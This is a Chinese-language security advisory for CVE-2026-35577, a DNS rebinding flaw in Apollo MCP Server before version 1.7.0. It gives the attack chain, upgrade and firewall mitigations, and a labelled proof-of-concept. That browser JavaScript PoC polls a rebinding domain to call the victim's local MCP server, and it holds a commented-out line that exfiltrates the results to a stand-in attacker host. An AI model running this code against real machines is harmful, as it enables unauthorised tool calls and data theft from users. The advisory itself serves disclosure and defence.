IPBUF安全漏洞报告
English
CVE-2026-35577 CVSS 6.8 中危

CVE-2026-35577 Apollo MCP Server DNS重绑定漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-35577
漏洞类型
DNS重绑定
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Apollo MCP Server

相关标签

DNS重绑定Apollo MCP Server权限绕过CVE-2026-35577SSRF

漏洞概述

Apollo MCP Server在1.7.0之前的版本中存在安全漏洞,当使用StreamableHTTP传输模式时,未对传入HTTP请求的Host头进行验证。如果服务器在本地主机运行且未配置认证或网络访问控制,攻击者可诱导用户访问恶意网站,利用DNS重绑定技术绕过同源策略,向本地MCP服务器发送恶意请求,从而代表用户调用工具或访问资源。

技术细节

该漏洞的核心在于Apollo MCP Server在使用StreamableHTTP传输时,缺乏对HTTP Host头部的校验机制。攻击者通过搭建恶意网站,并利用DNS重绑定攻击,控制DNS服务器在解析攻击者控制的域名时,先将IP指向公网服务器(通过浏览器的CORS/SOP检查),随后将IP重新解析为受害者本地的回环地址(127.0.0.1)。由于浏览器保留了同源策略的信任状态,攻击者编写的JavaScript代码即可向本地的MCP服务端点发起HTTP请求。由于服务端未验证Host头,攻击者可以构造恶意的GraphQL操作,在未经授权的情况下执行暴露在MCP Server上的工具或读取敏感数据。

攻击链分析

STEP 1
步骤1
攻击者诱导受害者访问包含恶意JavaScript代码的网站。
STEP 2
步骤2
恶意网站利用DNS重绑定技术,将域名解析指向受害者的本地回环地址(127.0.0.1)。
STEP 3
步骤3
受害者浏览器中的JavaScript向本地MCP服务器发送HTTP请求,绕过同源策略。
STEP 4
步骤4
Apollo MCP Server因未验证Host头,接受该请求并处理恶意的GraphQL操作。
STEP 5
步骤5
攻击者成功利用本地用户的权限调用MCP工具或获取敏感资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * Conceptual PoC for DNS Rebinding against Apollo MCP Server * This script runs in the victim's browser context. */ async function attackLocalMCP() { // The domain 'attacker.com' is controlled by the attacker and performs DNS rebinding. // Initially resolves to attacker's IP, then rebinding to 127.0.0.1. const targetUrl = 'http://attacker.com/mcp/stream'; // Example payload to list available tools or read files const maliciousPayload = { jsonrpc: "2.0", id: 1, method: "tools/list", params: {} }; try { // Attempt to send request to the local server via the rebinding domain const response = await fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(maliciousPayload) }); if (response.ok) { const data = await response.json(); console.log("[+] Exploit Successful! Data:", data); // Exfiltrate data to attacker's server // fetch('https://attacker-exfil.com/steal', { method: 'POST', body: JSON.stringify(data) }); } else { console.log("[-] Request failed, waiting for DNS rebind..."); } } catch (error) { console.log("[-] Error (likely due to SOP not bypassed yet):", error); } } // Polling to wait for DNS rebinding to occur setInterval(attackLocalMCP, 3000);

影响范围

Apollo MCP Server < 1.7.0

防御指南

临时缓解措施
建议立即将Apollo MCP Server升级至1.7.0或更高版本以修复此漏洞。若暂时无法升级,请确保不要在无认证的情况下将服务绑定到localhost,或切换至stdio传输模式,并配置防火墙规则限制外部对本地端口的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表